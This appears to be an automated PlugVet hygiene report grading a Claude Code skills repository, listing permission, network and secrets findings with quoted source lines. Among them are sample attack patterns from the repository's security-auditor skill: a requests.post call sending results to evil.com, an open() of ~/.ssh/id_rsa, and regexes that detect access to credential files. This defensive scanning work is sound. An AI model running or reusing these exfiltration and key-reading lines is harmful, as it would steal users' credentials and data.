MCP, MCP server
My Claude Skills
my-claude-skills is a set of Claude Code skills for day-to-day work on software projects.
Compatibility: Not stated.
Grade C
One Medium finding. Read the report before installing.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
SECRETS_PATH_CREDENTIAL
Why this grade
- SECRETS_PATH_CREDENTIAL Medium
Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).
skill-security-auditor/SKILL.md, line 121
Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Concern
can delete files.
PERMISSION_DELETE_FILES
skill-security-auditor/scripts/skill_security_auditor.py, line 125
"risk": "Arbitrary command execution via os.system()",
skill-security-auditor/scripts/skill_security_auditor.py, line 126
"fix": "Use subprocess.run() with list arguments and shell=False",
skill-security-auditor/scripts/skill_security_auditor.py, line 132
"risk": "Command execution via os.popen()",
Show more
skill-security-auditor/scripts/skill_security_auditor.py, line 133
"fix": "Use subprocess.run() with list arguments and capture_output=True",
skill-security-auditor/scripts/skill_security_auditor.py, line 140
"fix": "Use subprocess.run() with list arguments and shell=False",
skill-security-auditor/scripts/skill_security_auditor.py, line 147
"fix": "Use subprocess.run() with list arguments",
skill-security-auditor/scripts/skill_security_auditor.py, line 909
subprocess.run(
skill-security-auditor/scripts/skill_security_auditor.py, line 917
shutil.rmtree(tmp_dir, ignore_errors=True)
skill-security-auditor/scripts/skill_security_auditor.py, line 929
shutil.rmtree(tmp_dir, ignore_errors=True)
skill-security-auditor/scripts/skill_security_auditor.py, line 1045
shutil.rmtree(cleanup_dir, ignore_errors=True)
dependency-auditor/README.md, line 461
scan_result = subprocess.run([
Install and update
Pass
No install-time script found, and dependencies are pinned or absent.
Network
Concern
can reach a host that is not written as a fixed address. can reach evil.com. The description does not name that host. can reach analytics.evil.com. The description does not name that host.
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST
pr-review-expert/SKILL.md, line 252
curl -s -u "[email protected]:$JIRA_API_TOKEN" \
pr-review-expert/SKILL.md, line 258
curl -s -H "Authorization: $LINEAR_API_KEY" \
skill-security-auditor/SKILL.md, line 116
Pattern: requests.post("https://evil.com/collect", data=results)
Show more
skill-security-auditor/scripts/skill_security_auditor.py, line 586
"risk": "Outbound HTTP write request via fetch()",
tech-debt-tracker/assets/sample_codebase/src/frontend.js, line 166
fetch(API_BASE_URL + '/users/' + userId, {
tech-debt-tracker/assets/sample_codebase/src/frontend.js, line 355
fetch(API_BASE_URL + '/auth/login', {
tech-debt-tracker/assets/sample_codebase/src/payment_processor.py, line 100
response = requests.post(
tech-debt-tracker/assets/sample_codebase/src/payment_processor.py, line 142
response = requests.post(
Secrets
Concern
reads a credential or environment file.
SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
pr-review-expert/SKILL.md, line 215
grep "^+" /tmp/pr-$PR.diff | grep -oE "process\.env\.[A-Z_]+" | sort -u
pr-review-expert/SKILL.md, line 218
grep "^-" /tmp/pr-$PR.diff | grep -oE "process\.env\.[A-Z_]+" | sort -u
skill-security-auditor/SKILL.md, line 121
Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
Show more
pr-review-expert/SKILL.md, line 282
- [ ] New env vars documented in .env.example
skill-security-auditor/scripts/skill_security_auditor.py, line 273
"regex": r"(?:open|read|Path)\s*\([^)]*(?:\.ssh|\.aws|\.config/secrets|\.gnupg|\.npmrc|\.pypirc)",
skill-security-auditor/scripts/skill_security_auditor.py, line 453
"regex": r"(?i)(?:read|access|open|get)\s+(?:the\s+)?(?:contents?\s+of\s+)?(?:~|\/home|\/etc|\.ssh|\.aws|\.env|credentials?|secrets?|tokens?|api.?keys?)",
skill-security-auditor/scripts/skill_security_auditor.py, line 770
severity = Severity.CRITICAL if item.name == ".env" else Severity.HIGH
skill-security-auditor/SKILL.md, line 84
| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Pass
No encoded or minified payload found.
Licence
Note
no licence file found.
LICENCE_MISSING
No file path was stored.
no licence file found.
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit ccf1299cd4fc. can delete files. can reach a host that is not written as a fixed address. can reach evil.com. The description does not name that host. can reach analytics.evil.com. The description does not name that host. reads a credential or environment file. no licence file found.
Date and source
Date checked:
github.com
Commit graded: ccf1299cd4fc511c5756be6412696b66cfc1730e
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.